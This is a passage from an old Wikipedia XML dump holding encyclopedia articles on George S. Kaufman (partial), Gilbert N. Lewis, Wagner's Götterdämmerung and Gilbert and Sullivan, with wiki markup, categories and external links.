A noted (but married) ladies' man, Kaufman found himself in the center of a scandal in [[1936]] when, in the midst of a child custody suit, the former husband of actress [[Mary Astor]] threatened to publish one of Astor's diaries purportedly containing extremely explicit details of an affair between Kaufman and the actress. The diary was eventually destroyed unread by the courts, but details of the supposed contents were published in ''Confidential'' magazine and various other scandal sheets.

He died in [[New York City]] in 1961 at the age of seventy-one.

[[Category:1889 births|Kaufman, George S.]]
[[Category:1961 deaths|Kaufman, George S.]]
[[Category:Jewish American writers|Kaufman, George S.]]
[[Category:People from Pennsylvania|Kaufman, George S.]]
[[Category:Pulitzer Prize winners|Kaufman, George S.]]
[[Category:American dramatists and playwrights|Kaufman, George S.]]

==External links==
*[http://www.dorothyparker.com/walk.html Algonquin Round Table Walking Tours]
*[http://www.algonquinhotel.com/AboutUs/round_table.htm Algonquin Round Table page at the Algonquin Hotel's web site]
*[http://www.davidpietrusza.com/Algonquin-Circle-Links.html Algonquin Circle Links]

[[no:George S. Kaufman]]</text>
    </revision>
  </page>
  <page>
    <title>Gilbert N. Lewis</title>
    <id>13017</id>
    <revision>
      <id>38477912</id>
      <timestamp>2006-02-06T16:34:33Z</timestamp>
      <contributor>
        <username>Itub</username>
        <id>426390</id>
      </contributor>
      <comment>link to cubical atom, mention valence book, and year of lewis structure</comment>
      <text xml:space="preserve">[[image:GN_Lewis_large.jpg|thumb|250px|Lewis in the Berkeley Lab]]
'''Gilbert Newton Lewis''' ([[October 23]], [[1875]]-[[March 23]], [[1946]]) was a famous [[United States|American]] [[physical chemistry|physical chemist]]. 

== Early life ==

Lewis was born in [[Weymouth, Massachusetts]] as the son of a [[Dartmouth College|Dartmouth]]-graduated lawyer/broker. He was a precocious child who learned to read at age three.

His family moved to [[Lincoln, Nebraska]] when he was 9. He was [[home schooling|homeschooled]] until age 9.  He went to public school from age 9 to 14 and then he went to the [[University of Nebraska]], and three years later transferred to the Harvard University where he showed an interest in [[economics]], but concentrated in [[chemistry]], getting his [[Bachelor of Arts|B.A.]] in [[1896]] and his [[Doctor of Philosophy|Ph.D.]] in [[1899]]. His first published work, a study of thermochemical and electrochemical properties of [[amalgam]]s, was based on his doctoral research and was published in [[1898]].

== Career ==

After earning his Ph.D., he stayed as an instructor for a year before taking a traveling fellowship, studying under the physical chemist [[Wilhelm Ostwald]] at [[Leipzig]] and [[Walther Nernst]] at [[Göttingen]].  He then returned to Harvard as an instructor for three more years, and in [[1904]] left to become superintendent of weights and measures for the Bureau of Science of the [[Philippines|Philippine Islands]] in [[Manila]]. The next year he returned to [[Cambridge, Massachusetts|Cambridge]] when the [[Massachusetts Institute of Technology]] (MIT) appointed him to a faculty position, in which he had a chance to join a group of outstanding physical chemists under the direction of [[Arthur Amos Noyes]]. He quickly rose in rank, becoming assistant professor in [[1907]], associate professor on [[1908]], and full professor in [[1911]]. He left MIT to become professor of physical chemistry and dean of the [[Berkeley College of Chemistry|College of Chemistry]] at the [[University of California, Berkeley]] in [[1912]].  Lewis Hall at Berkeley, built in 1948, was named in his honor.

In [[1908]] he published the first of several papers on [[theory of relativity|relativity]], in which he derived the [[mass]]-[[energy]] relationship in a different way from [[Albert Einstein]]'s derivation.  He also introduced the thermodynamic concept of [[fugacity]] in a paper, &quot;The osmotic pressure of concentrated solutions, and the laws of the perfect solution,&quot; ''J. Am. Chem. Soc.'' '''30''', 668-683 (1908).

On [[June 21]], [[1912]], he married Mary Hinckley Sheldon, daughter of a Harvard professor of [[Romance languages]]. They had two sons, both of whom became chemistry professors, and a daughter.

In [[1913]], he was elected to the [[National Academy of Sciences]], but in [[1934]] he resigned in a dispute over the internal politics of that institution.

In [[1916]], he formulated the idea that a [[covalent bond]] consisted of a shared pair of [[electron]]s and defined the term [[odd molecule]] when an electron is not shared. His ideas on [[chemical bond]]ing were expanded upon by [[Irving Langmuir]] and became the inspiration for the studies on the nature of the chemical bond by [[Linus Pauling]]. This year he published what became known as the [[Lewis structure]] and the [[Cubical atom]] model.

In [[1919]], by studying the [[magnetism|magnetic]] properties of solutions of [[oxygen]] in [[liquid]] [[nitrogen]], he found that O&lt;sub&gt;4&lt;/sub&gt; [[molecule]]s were formed. This was the first evidence for tetratomic oxygen.

In [[1923]], he formulated the electron-pair theory of [[acid]]-[[Base (chemistry)|base]] reactions. In the so-called ''Lewis theory'' of [[acid]]s and [[base (chemistry)|base]]s, a &quot;[[Lewis acid]]&quot; is an ''electron-pair acceptor'' and a &quot;[[Lewis base]]&quot; is an ''electron-pair donor''. This year he also published his book ''Valence and the structure of atoms and molecules''.

Based on work by [[Willard Gibbs|J. Willard Gibbs]], it was known that chemical reactions proceeded to an [[Chemical equilibrium|equilibrium]] determined by the [[free energy]] of the substances taking part. Lewis spent 25 years determining free energies of various substances. In [[1923]] he and [[Merle Randall]] published the results of this study and formalizing chemical [[thermodynamics]].

In [[1926]], he coined the term &quot;[[photon]]&quot; for the smallest unit of radiant energy.

Lewis was the first to produce a pure sample of deuterium oxide ([[heavy water]]) in [[1933]]. By accelerating [[deuteron]]s (deuterium [[atomic nucleus|nuclei]]) in [[Ernest Lawrence|Ernest O. Lawrence's]] [[cyclotron]], he was able to study many of the properties of atomic nuclei.

In the last years of his life, he established that [[phosphorescence]] of [[organic chemistry|organic]] molecules involves an excited '''triplet''' state (a state in which electrons that would normally be paired with opposite [[spin (physics)|spin]]s are instead excited to have their [[spin vector]]s in the ''same'' direction) and measured the magnetic properties of this [[triplet]] state.

During his career he published on many other subjects besides those mentioned in this article, ranging from the nature of [[light]] quanta to the [[economics]] of price stabilization.

He died at age 70 of a heart attack while working in his laboratory in Berkeley.

[[Category:1875 births|Lewis, Gilbert Newton]]
[[Category:1946 deaths|Lewis, Gilbert Newton]]
[[Category:American scientists|Lewis, G. N.]]
[[Category:Physical chemists|Lewis, G. N.]]

[[de:Gilbert Newton Lewis]]
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[[ru:Льюис, Гилберт Ньютон]]</text>
    </revision>
  </page>
  <page>
    <title>Governor of Michigan</title>
    <id>13018</id>
    <revision>
      <id>15910660</id>
      <timestamp>2003-09-21T06:45:22Z</timestamp>
      <contributor>
        <username>TUF-KAT</username>
        <id>8351</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[List of Governors of Michigan]]</text>
    </revision>
  </page>
  <page>
    <title>Götterdämmerung</title>
    <id>13019</id>
    <revision>
      <id>40902781</id>
      <timestamp>2006-02-23T20:01:29Z</timestamp>
      <contributor>
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      <text xml:space="preserve">:''This article is about the Wagner opera.  For the [[Bathory (band)|Bathory]] album see [[Twilight of the Gods (album)]].''
&lt;!--There should be an explanation for why the title is sometimes translated as &quot;Dawn of the Gods,&quot; sometimes as &quot;Doom of the Gods,&quot; and sometimes as &quot;Twilight of the Gods&quot;; see Talk page for more details.--&gt;
{{Audio|De-goetterdaemmerung.ogg|'''''Götterdämmerung'''''}} (&quot;Twilight of the Gods&quot; – see [[#Notes|Notes]]) is the last of the four operas that comprise [[Der Ring des Nibelungen]] (The Ring of the Nibelung), by [[Richard Wagner]]. It received its premiere at the [[Bayreuth Festspielhaus]] on [[17 August]] [[1876]], as part of the first complete performance of the Ring. The cast included Georg Unger as [[Sigurd|Siegfried]], Eugen Gura as [[Gunther]], Gustav Siehr as [[Hagen (legend)|Hagen]], Amalie Materna as [[Brünnhilde]], and Luise Jaide as [[Gudrun|Gutrune]].

The title is a translation into [[German language|German]] of the [[Old Norse language|Old Norse]] phrase ''[[Ragnarok]]'', which in [[Norse mythology]] refers to a prophesied war of the Gods which brings about the [[end of the world]] in [[Völuspá]]. However, as with the rest of the Ring, Wagner's account of this apocalypse diverges significantly from his Old Norse sources.

The term ''Götterdämmerung'' is occasionally used in English, referring to a disastrous conclusion of events.



===Prologue===
[[Image:Nornsweaving.jpg|thumb|200px|right|Norns weave the rope of destiny, by Arthur Rackham (1912)]]
The three [[Norns]], daughters of [[Jord|Erda]], gather beside Brünnhilde's rock, weaving the rope of Destiny. They sing of the past and the present, and of the future when [[Odin|Wotan]] will set fire to [[Valhalla]] to signal the end of the [[Æsir|Gods]]. Without warning, their rope breaks. Lamenting the loss of their wisdom, the Norns disappear.

As day breaks, Siegfried and Brünnhilde emerge from their cave. Brünnhilde sends Siegfried off to new adventures, urging him to keep their love in mind. As a pledge of fidelity, Siegfried gives her the [[Andvarinaut|Ring]] which he took from Fafner's hoard. Bearing Brünnhilde's shield and mounting her horse Grane, Siegfried rides away.

===Act I===

The act begins in the Hall of the Gibichungs, a people dwelling by the Rhine. [[Gunther]], lord of the Gibichungs, sits enthroned. His half-brother [[Hagen (legend)|Hagen]] advises him to find a wife for himself and a husband for their sister [[Gudrun|Gutrune]]. He suggests Brünnhilde for Gunther's wife, and Siegfried for Gutrune's husband. He has given Gutrune a potion to make Siegfried forget Brünnhilde and fall in love with Gutrune; under its influence, Siegfried will win Brünnhilde for Gunther.
[[Image:Waltraute_confronts.jpg|thumb|250px|left|Brünnhilde is visited by her Valkyrie sister Waltraute. By Arthur Rackham (1912)]]
Siegfried appears at Gibichung Hall, seeking to meet Gunther. Gunther extends his hospitality to the hero, and Gutrune offers him the drugged drink. Unaware of the deception, Siegfried toasts Brünnhilde and their love. Drinking the potion, he loses his memory of Brünnhilde and falls in love with Gutrune instead. In his drugged state, Siegfried offers to win a wife for Gunther, who tells him about Brünnhilde and the magic fire. They swear [[Blood brother|blood-brotherhood]], and leave for Brünnhilde's rock.

Meanwhile, Brünnhilde is visited by her Valkyrie sister Waltraute, who relates how Wotan returned from his wanderings one day with his [[Gungnir|spear]] shattered. (Wotan is dismayed at losing his spear, as it has all the treaties and bargains he has made&amp;mdash;everything that gives him power&amp;mdash;carved into its shaft.) Wotan ordered branches of [[Yggdrasil]], the World tree, be piled around Valhalla; sent his [[Hugin and Munin|ravens]] to spy on the world and bring him news; and currently awaits in Valhalla for the end. Waltraute begs Brünnhilde to return the ring to the [[Rhinemaidens]], since the ring's curse is now affecting their father, Wotan. However, Brünnhilde refuses to relinquish Siegfried's token of love, and Waltraute rides away in despair.

Siegfried arrives, disguised as Gunther using the [[Tarnhelm]], and claims Brünnhilde as wife. Though Brünnhilde violently resists, Siegfried overpowers her, snatching the Ring from her hand and placing it on his own.

===Act II===
[[Image:Alberich_hagen.jpg|thumb|250px|right|Alberic speaking to Hagen by Arthur Rackham (1912)]]
Hagen, waiting by the bank of the Rhine, is visited in his sleep by his father, [[Alberich]]. On Alberich's urging, he swears to acquire the Ring. Siegfried arrives as dawn breaks, having secretly resumed his natural form and traded places with Gunther. Hagen summons the Gibichung to welcome Gunther and his bride.

Gunther leads in a downcast Brünnhilde, who is astonished to see Siegfried. Noticing the Ring on Siegfried's hand, she realizes she has been betrayed. She denounces Siegfried in front of Gunther's vassals. Siegfried swears on Hagen's spear that her accusations are false. He then leads Gutrune and the bystanders off to the wedding feast, leaving Brünnhilde, Hagen, and Gunther alone by the shore. Deeply shamed by Brünnhilde's outburst, Gunther agrees to Hagen's suggestion that Siegfried must be slain for his honor to be regained. Brünnhilde, seeking revenge for Siegfried's treachery, joins the plot and tells Hagen about the hero's sole weakness: though she had used her magic to ward him from harm, she had left his back unguarded, knowing that he would never flee from a foe. Hagen and Gunther decide to lure Siegfried on a hunting-trip and murder him.

===Act III===

In the woods by the bank of the Rhine, the Rhinemaidens mourn the lost Rheingold. Siegfried happens by, separated from the hunting party. They urge him to return the Ring and avoid its curse, but he ignores their tidings of doom. They swim away, predicting that Siegfried will die and that his heir, a lady, will treat them more fairly.
[[Image:Siegfried_rhinemaidens.jpg|thumb|250px|left|The Rhine Maidens warn Siegfried by Arthur Rackham (1912)]]
Siegfried rejoins the hunters, who include Gunther and Hagen. While resting, he tells them about the adventures of his youth. Hagen gives him a drink that restores his memory, and he tells of discovering the sleeping Brünnhilde and awakening her with a kiss. Suddenly, two ravens fly out of a bush, and as Siegfried watches them, Hagen stabs him in the back with his spear. The others look on in horror, and Hagen calmly walks away into the wood. Siegfried dies, lingering on his memories of Brünnhilde. His body is carried away in a solemn funeral procession.

Back in Gibichung Hall, Gutrune awaits Siegfried's return. Hagen arrives, ahead of the funeral party. Gutrune is devastated when Siegfried's corpse is brought in. Gunther blames Siegfried's death on Hagen, who defiantly admits to the murder and claims the Ring on Siegfried's finger by right of conquest. When Gunther objects, Hagen attacks and kills him. However, as Hagen moves to take the Ring, the dead hero's hand raises threateningly, and he recoils.

Brünnhilde makes her entrance and takes charge of the scene. She issues orders for a huge [[funeral]] [[pyre]] to be assembled by the river, and sends Wotan's lurking ravens home with &quot;anxiously longed-for tidings.&quot; She takes the Ring and tells the Rhinemaidens to claim it from her ashes, once fire has cleansed it of its curse. The pyre lit, Brünnhilde mounts her horse Grane and rides into the flames.

The fire flares up as the Rhine overflows its banks, bearing the Rhinemaidens on its waves. Hagen leaps after the Ring and drowns. The Rhinemaidens swim away, bearing the Ring in triumph. As the flames increase in intensity, Valhalla comes into view in the sky. Bright flames seem to flare up in the hall of the Gods, finally hiding it from sight completely. The curtain falls.

===Notes===
#The opera is sometimes called in English &quot;Dawn of the Gods,&quot; or &quot;Doom of the Gods&quot;; however, &quot;Twilight of the Gods&quot; correctly translates the German title, ''Götterdämmerung''. &lt;!--- See talk page ---&gt;
#''Götterdämmerung'' is itself a translation of &quot;ragnarökkr&quot; (Twilight of the Gods) as it is sometimes written in the Prose-Edda. In the older Edda only  &quot;[[ragnarök]]&quot; (Fate of the Gods) is mentioned. Many believe that &quot;ragnarökkr&quot; was a misconception on [[Snorri Sturluson]]'s behalf.

==External links==
* [http://www.richard-wagner-postkarten.de/postkarten/goe.php Richard Wagner - ''Götterdämmerung]. A gallery of historic postcards with motives from Richard Wagner's operas.
* [http://www.wagneroperas.com Wagner Operas]. A comprehensive website featuring photographs of productions, recordings, librettos, and sound files.

{{Der Ring des Nibelungen}}

[[Category:Operas by Richard Wagner|Gotterdammerung]]
[[Category:German-language operas|Gotterdammerung]]
[[Category:Music dramas|Gotterdammerung]]
[[Category:German loanwords|Gotterdammerung]]
[[Category:Operas|Gotterdammerung]]
[[de:Götterdämmerung (Oper)]]
[[es:El ocaso de los dioses]]
[[fr:Le Crépuscule des dieux]]
[[it:Il crepuscolo degli dei]]
[[nl:Götterdämmerung]]
[[pt:Götterdämmerung]]</text>
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  <page>
    <title>Gilbert and Sullivan</title>
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      <text xml:space="preserve">Playwright/lyricist '''Sir [[W. S. Gilbert]]''' ([[1836]]-[[1911]]) and composer '''[[Arthur Sullivan|Sir Arthur Sullivan]]''' ([[1842]]-[[1900]]) defined [[operetta]]s or [[comic opera]]s in [[Victorian era|Victorian]] [[England]] with a series of their internationally successful and timeless works known as the [[Savoy Opera]]s.

==History==
[[Image:Gilbert-GS.JPG|right|frame|[[W. S. Gilbert]]]]
[[Image:Sullivan-GS.JPG|right|frame|[[Arthur Sullivan|Sir Arthur Sullivan]]]]

Their first collaboration was ''[[Thespis (operetta)|Thespis]]'' ([[1871]]).  At the time, W. S. Gilbert was widely known for the ''Bab Ballads'', a popular series of doggerel verse that explored the farthest reaches of topsy-turvydom, such as the ballad of Captain Reece, whose &quot;sisters, cousins, aunts and niece&quot; sailed on the H.M.S. Mantelpiece.  He was a successful man of the London theatrical scene, with a string of sketches, comedies, pantomimes, burlesques and musicals which were accounted successful by the standards of the day.  Arthur Sullivan was the most popular musician in [[Britain]] and regarded as the bright young hope of serious British music.  He was much in demand as a conductor and composer of oratorios, anthems and hymns.  He was also earning a considerable income by churning out popular ballads, the Victorian equivalent of Top Forty hits.

''Thespis'' was an extravaganza in which the gods of the classical world, now become elderly, were temporarily replaced by a troupe of [[Nineteenth Century]] actors and actresses.  In concept, the piece was consistent with the [[Jacques Offenbach|Offenbachian]] ''Orpheus in the Underworld'' and ''The Beautiful Helen'' which (in translation) then dominated the English musical stage.  Thespis had a run estimated at between 64 and 80 performances at the small and not especially attractive [[Opera Comique]] Theatre.  It was successful as such things were then measured, even moderately profitable, but perceived by no one at the time as the beginning of a great collaboration.  The musical score was never published and, except for one song and one chorus, has entirely perished. However, some of the music was recycled by the collaborators into later works. Composers since then have attempted to fill in the gaps by supplying &quot;Sullivan-like&quot; music for the play. [http://math.boisestate.edu/gas/thespis/html/thespis_home.html]

Gilbert and Sullivan's first major hit was ''[[Trial by Jury]]'' ([[1875]]). Impresario [[Richard D'Oyly Carte]] had hit on the idea of creating an English national opera.  He asked W. S. Gilbert for a one-act work to serve as an afterpiece for Offenbach's popular but short ''La Perichole''.  Gilbert had already written just such a short piece on commission from another producer, whose unexpected death had left Gilbert's work an orphan.  He extracted the libretto of ''Trial by Jury'' from his pocket and handed it to Carte.  Carte was delighted with it.  He suggested that it be set to music by Sullivan and he brought the two men together. Sullivan was equally delighted.  ''Trial by Jury'', with Sullivan's brother, Fred, as the Learned Judge, was added to the bill with ''La Perichole'' and proved itself to be even more popular than Offenbach's work.  ''Trial by Jury'' ran for 135 performances, a new record for an English musical, far outdistancing the former record holder, ''[[The Beggar's Opera]]'' ([[1728]]).

''[[The Sorcerer]]'' ([[1877]]) is the first full-length example of what came to be known as the Savoy operas (although the Savoy Theatre had yet to be built.)  D'Oyly Carte asked Gilbert for a comic operetta that would serve as the centerpiece for an evening's entertainment.  Gilbert rummaged around in his published comic verse and hit on the tale of a respectable [[Cockney]] businessman who happened to be a sorcerer, a purveyor of blessings (not much called for) and curses (very popular).

With ''The Sorcerer'', the D'Oyly Carte repertory and production system came into being.  Until this time, Gilbert had been forced to contend with casts built around one or two established stars, as had been the case with'' Thespis'', a casually collected group of supporting players and a pick-up band of musicians.  From The Sorcerer onwards, Gilbert would no longer hire stars, he would create them.  Gilbert hired the performers, subject to veto from Sullivan on purely musical grounds.  He oversaw the designs of sets and costumes.  He directed the performers on stage.  Sullivan oversaw musical preparation.  

The result of all this was a wholly new crispness and polish in English musical theater.  A side-effect was that all subsequent Gilbert and Sullivan comic operettas with the exception of ''The Gondoliers'', would have interchangeable casts.  ''The Sorcerer'' established character types associated with vocal range, some of which were familiar from European opera: the heroic protagonist (tenor) and his love-interest (soprano); the patter baritone, usually the leading comic role of the operetta; the villainous bass; the elderly woman with designs on the protagonist (alto); and a supporting bass-baritone.  The two other important stock types were the heads of the male and female choruses (e.g. the Boatswain in ''HMS Pinafore'') who sometimes had solo numbers of their own.  The repertory system ensured that the comic patter man who would perform the role of the sorcerous John Wellington Wells, would go from his desk to be ruler of the Queen's navy as Sir Joseph Porter, then join the army as Major General Stanley and so on.  Lady Sangazure would transform into Little Buttercup, then Ruth, the piratical maid-of-all-work . . .  Two relative unknowns hired by Gilbert for ''The Sorcerer'' would stay with his opera company for many years to become great stars of the Victorian stage: [[George Grossmith]], a comic patter man, and [[Rutland Barrington]], bass-baritone and character actor.  Gilbert was a tireless taskmaster, seeing to it that ''The Sorcerer'' opened as a fully polished show--in marked contrast to the under-rehearsed ''Thespis''.

Their first world-wide success was with ''[[HMS Pinafore]]'' ([[1878]]), satirizing the Royal Navy and the British obsession with social status.  ''[[The Pirates of Penzance]]'' ([[1879]]), written in a fit of pique at [[United States|American]] [[copyright]] pirates, also poked fun at romantic melodrama, sense of duty, family obligation, and the relevance of a liberal education. ''[[Patience (operetta)|Patience]]'' ([[1881]]) satirized the [[aesthetic movement]] in general and the poet and aesthete [[Algernon Swinburne]] in particular.  ''[[Iolanthe]]'' ([[1882]]) pokes fun at English law and at the [[House of Lords]]. ''[[Ruddigore]]'' ([[1887]]) is a topsy-turvy take on the Victorian [[Melodrama]], and viciously satirizes that entire genre. ''[[The Yeomen of the Guard]]'' ([[1888]]), their only joint work with a tragic ending, concerns a strolling jester who finds himself embroiled in a risky intrigue at the [[Tower of London]].  ''[[The Gondoliers]]'' ([[1889]]) pokes fun at the plot devices of opera in the setting of a kingdom ruled by a pair of gondoliers who try to run it in a spirit of &quot;republican equality&quot;. ''[[Trial By Jury]]'' is rather self-evident, but is unique because it was the only operetta with no spoken dialogue.  Their most popular work was ''[[The Mikado]]'' ([[1885]]), where English bureaucracy was made fun of in a [[Japan]]ese setting. 

Gilbert's plots remain perfect examples of &quot;topsy-turvydom,&quot; in which primeval fairies rub elbows with English lords, gondoliers ascend to the monarchy and pirates are reconciled with major-generals. Gilbert's lyrics employ double (and triple) rhyming and punning, and served as the very model for such [[20th century]] Broadway lyricists as [[Cole Porter]], [[Ira Gershwin]], and [[Lorenz Hart]]. Sullivan, a classically trained musician who devoted much of his career to religious [[hymn]]s and grand [[opera]], contributed catchy melodies which were also emotionally moving. As seamless as their onstage collaboration was, Gilbert and Sullivan were temperamentally incompatible, and their partnership was frequently ruptured. Their last joint work, ''The Grand Duke,'' opened in [[1896]], and the sickly Sullivan died four years later.

Their works were originally produced by British [[impresario]] [[Richard D'Oyly Carte]], considered by some to be the third member of this partnership, who built the [[Savoy Theatre]] in London to present their operettas, and formed the [[D'Oyly Carte Opera Company]], which would perform the Savoy Operettas with exacting detail until [[1982]]. The Gilbert and Sullivan operettas were also popular abroad, and many American cities saw amateur and professional Gilbert and Sullivan performing groups. This trend has continued to the present day, and it can be argued that these operettas and ''The Mikado'' in particular were instrumental in shaping the American musical of the 20th century.

==Cultural influence==

Many cultural movements saw the influence of Gilbert and Sullivan. For instance, [[aestheticism]], the cultural movement characterized by [[Oscar Wilde]] and satirized in ''Patience'', was actually introduced to the United States by Richard D'Oyly Carte in order that Americans could understand the operetta. In terms of humor, the idea of extending a joke throughout a piece of literature and/or comedy work is prevalent in the Savoy Operas.

In [[1999]] [[Mike Leigh]]'s film ''[[Topsy-Turvy]]'' presented an acclaimed film depiction of the team and the creation of their most popular operetta, ''The Mikado''.

The works of Gilbert and Sullivan, filled as they are with parodies of their contemporary culture, are themselves frequently parodied or pastiched; a notable example of this is [[Tom Lehrer]]'s [[Elements song]], which consists of Lehrer's rhyming rendition of the names of all the chemical elements set to the music of ''[[Major General's Song]]'' from the operetta ''The Pirates of Penzance''. Lehrer also includes a verse parodying a Gilbert and Sullivan finale in his patchwork of stylistic creations ''Clementine'' (&quot;full of words and music and signifying nothing&quot;, as Lehrer put it, thus parodying G &amp; S and [[Shakespeare]] in the same sentence).

The [[Popeye]] theme song was apparently directly inspired by G &amp; S.  The first two phrases
:I'm Popeye the Sailor Man, I'm Popeye the Sailor Man

are nearly identical to the first two phrases of the &quot;Pirate King&quot; song from [[The Pirates of Penzance]]
:For I am a Pirate King! (Hoorah for the Pirate King!) 

except for the high note on the first &quot;King&quot;.

Another song from &quot;Pirates&quot;, which starts &quot;With cat-like tread...&quot; leads up to a segment that starts &quot;Come, friends who plough the sea...&quot; which is more recognizable with its modern lyric, &quot;Hail, hail, the gang's all here...&quot;

[[Allan Sherman]] sang several parodies...
*I'm called Little Butterball (about Allan's admitted corpulence)
*When I was a lad I went to Yale (about a young advertising agent)
*You need an analyst, a psychoanalyst (a variant on &quot;I've got a little list&quot;)
*Titwillow (about a Yiddish-talking bird that meets a sad fate)

[[Anna Russell]] performed a [[parody]] called &quot;How to Write Your Own Gilbert and Sullivan Opera&quot;.

In [[Runaround]], a short story in [[Isaac Asimov]]'s [[I, Robot]], [[Powell and Donovan]] encounter a robot who is in a state similar to [[drunkenness]], singing &quot;There Grew a Little Flower&quot; (from [[Ruddigore]]), upon which Donovan remarks &quot;Where did he pick up Gilbert and Sullivan&quot;?

In the early 1980s, around the time of the straight version of &quot;Pirates&quot; starring [[Kevin Kline]] and [[Linda Ronstadt]], there was a parody (or &quot;updated&quot;) film called [[The Pirate Movie]] starring [[Christopher Atkins]] and [[Kristy McNichol]].  The film [[Chariots of Fire]] also draws much from the G &amp; S repertoire.

The popular TV series ''[[Family Guy]]'' drew from Gilbert and Sullivan with a parody of the ''Captain's Song'' from ''[[H.M.S. Pinafore]]''. [[Larry David]]'s show ''[[Curb Your Enthusiasm]]'' uses ''Three Little Maids'' from ''[[The Mikado]]'' as background music. In [[The Simpsons]] episode &quot;Cape Fear&quot; [[Bart_Simpson|Bart]] asks [[Sideshow Bob]] to sing ''&quot;the entire score of H.M.S. Pinafore&quot;'' as a last request, which is fulfilled.  In another Simpsons episode, Bart identifies himself as &quot;Ruddigore.&quot; In the ninth [[Star Trek]] feature film [[Star Trek: Insurrection]] the characters Captain Picard, Worf and Data sing &quot;A British Tar&quot; from ''[[H.M.S. Pinafore]]''. The character Sallah in ''[[Raiders of the Lost Ark]]'' sings ''Pinafore'' tunes when he is excited or overjoyed. In ''[[Angel (TV series)|Angel]]'' in the fifth season Charles Gunn has the ability to be a good lawyer input into his head, along with a lot of Gilbert and Sullivan, because it's &quot;great for elocution&quot;. He then mentions that he could sing all of &quot;The Pirates of Penzance&quot;, and later in the series broke into &quot;Three Little Maids&quot; from The Mikado. The episode &quot;And It's Surely To Their Credit&quot; (2x05) of ''[[The West Wing (television)|The West Wing]]'' has several references of Gilbert and Sullivan works, ''[[H.M.S. Pinafore]]'' in particular.
In the popular sci-fi series ''[[Babylon 5]]'' one of Marcus' many comic interludes involves his singing the 'Modern Major General' song from ''[[Pirates of Penzance]]'' over the closing credits of one episode, much to Doctor Franklin's distress.

==Collaborations==
*''[[Thespis (operetta)|Thespis]]'', or, ''The Gods Grown Old'' ([[1871]])
*''[[Trial by Jury]]'' ([[1875]])
*''[[The Sorcerer]]'' ([[1877]])
*''[[HMS Pinafore]]'', or, ''The Lass That Loved a Sailor'' ([[1878]])
*''[[The Pirates of Penzance]]'', or, ''The Slave of Duty'' ([[1879]])
*''The Martyr of Antioch'' (cantata) ([[1880]]) (Gilbert modified the poem by [[Dean Milman]])
*''[[Patience (operetta)|Patience]]'', or ''Bunthorne's Bride'' ([[1881]])
*''[[Iolanthe]]'', or, ''The Peer and the Peri'' ([[1882]])
*''[[Princess Ida]]'', or, ''Castle Adamant'' ([[1884]])
*''[[The Mikado]]'', or, ''The Town of Titipu'' ([[1885]])
*''[[Ruddigore]]'', or, ''The Witch's Curse'' ([[1887]])
*''[[The Yeomen of the Guard]]'', or, ''The Merryman and his Maid'' ([[1888]])
*''[[The Gondoliers]]'', or, ''The King of Barataria'' ([[1889]])
*''[[Utopia, Limited]]'', or, ''The Flowers of Progress'' ([[1893]])
*''[[The Grand Duke]]'', or, ''The Statutory Duel'' ([[1896]])

== Alternative versions ==

===== Non-English language versions =====

*''[[Die Piraten]]'' - German language version of &quot;''The Pirates of Penzance''&quot;

===== Gilbert &amp; Sullivan inspired Ballets =====

* ''[[Pirates of Penzance - The Ballet!]]'' (formerly called '' '''Pirates! The Ballet''')
* ''[[Pineapple Poll]]'' - from a story by Gilbert - and music by Sullivan

==Well-known Gilbert &amp; Sullivan actors==
* [[Donald Adams]]
* [[Rutland Barrington]]
* [[Jessie Bond]]
* [[Leonora Braham]]
* [[Rosina Brandram]]
* [[W.H. Denny]]
* [[Darrell Fancourt]]
* [[Martyn Green]]
* [[George Grossmith]]
* [[Marion Hood]]
* [[Durward Lely]]
* [[John Lithgow]]
* [[Henry Lytton]]
* [[Valerie Masterson]]
* [[Dennis Olsen]]
* [[Walter Passmore]]
* [[Courtice Pounds]]
* [[Peter Pratt]]
* [[John Reed (actor)|John Reed]]
* [[Thomas Round]]
* [[Frederick Sullivan]]
* [[Richard Temple]]
* [[C.H. Workman]]

==See also==
* [[George Baker (record singer)]]
* [[Edward German]]
* The [[International Gilbert and Sullivan Festival]] held annually
* [[Staveley, Cumbria]] - a village with a fifty year G&amp;S tradition

==References==
* Leslie Bailey, ''The Gilbert and Sullivan Book'', 3rd ed, London. 1953.
* John Lane, ''The Life of Jessie Bond'', London, 1927.
* Arthur Lawrence, ''Sir Arthur Sullivan'', London, 1899.
* Deems Taylor (''preface), ''Plays and Poems of W. S. Gilbert'', New York, 1932.

==Further Reading==

* ''The Savoy Operas'' - Wordsworth Editions Ltd, Hertfordshire, England (1994)
* ''The Complete Plays of Gilbert and Sullivan'' - W. W. Norton and Company, inc - New York, USA (1976)

* Michael Ainger, ''Gilbert and Sullivan, a dual biography''    OUP (2002)
* Leslie Ayre, ''The Gilbert &amp; Sullivan Companion'' - (Foreword by Martyn Green) - Pan Books Ltd, London, England (1972)
* Leslie Baily, ''Gilbert &amp; Sullivan and their world'' - Thames and Hudson Ltd, London, England (1973)
* Ian Bradley, ''The Annotated Gilbert and Sullivan'' - Penguin Books Ltd, Middlesex, England (1982)
* Ian Bradley, ''The Annotated Gilbert and Sullivan 2'' - Penguin Books Ltd, Middlesex, England (1984)
* Michael Ffinch, ''Gilbert and Sullivan'' - Weidenfeld and Nicolson, London, England (1993)
* Martyn Green, ''Treasury of Gilbert &amp; Sullivan'' - Simon and Schuster, Inc., New York, USA (1961)
* Christopher Hibbert, ''Gilbert &amp; Sulivan and Their Victorian World'' - American Heritage Publishing Co., Inc, New York, USA (1976)
* Alan James ''Gilbert &amp; Sulivan'' - Omnibus Press, Wiltshire, England (1989) 
* Geoffrey Smith, ''The Savoy Operas'' - Robert Hale Limited, London, England (1983)
* Audrey Williamson,''Gilbert and Sullivan Opera'' - Marion Boyars, London, England (1953)
* Robin Wilson &amp; Frederic Lloyd, ''Gilbert &amp; Sullivan - The Official D'Oyly Carte Picture History'' - Alfred A. Knopf, Inc., New York, USA (1984)
* John Wolfson, ''Final Curtain - The Last Gilbert and Sullivan Operas'' - Chappell &amp; Company Limited, London, England (1976)

==External links==
*[http://diamond.boisestate.edu/gas/ The Gilbert and Sullivan Archive]
*[http://math.boisestate.edu/gas/mikado/html/mikado_by_mencken.html Article by H. L. Mencken on the impact of ''The Mikado'' (from 1910)]
*[http://negass.org/index.html The New England Gilbert and Sullivan Society (includes links to other North American societies)]
*[http://www.umgass.org UMGASS - The University of Michigan Gilbert &amp; Sullivan Society, America's Oldest Surviving Student-Run Gilbert &amp; Sullivan Company]
*[http://www.cris.com/~oakapple/savoynet Savoynet - an email-based G&amp;S listserv]
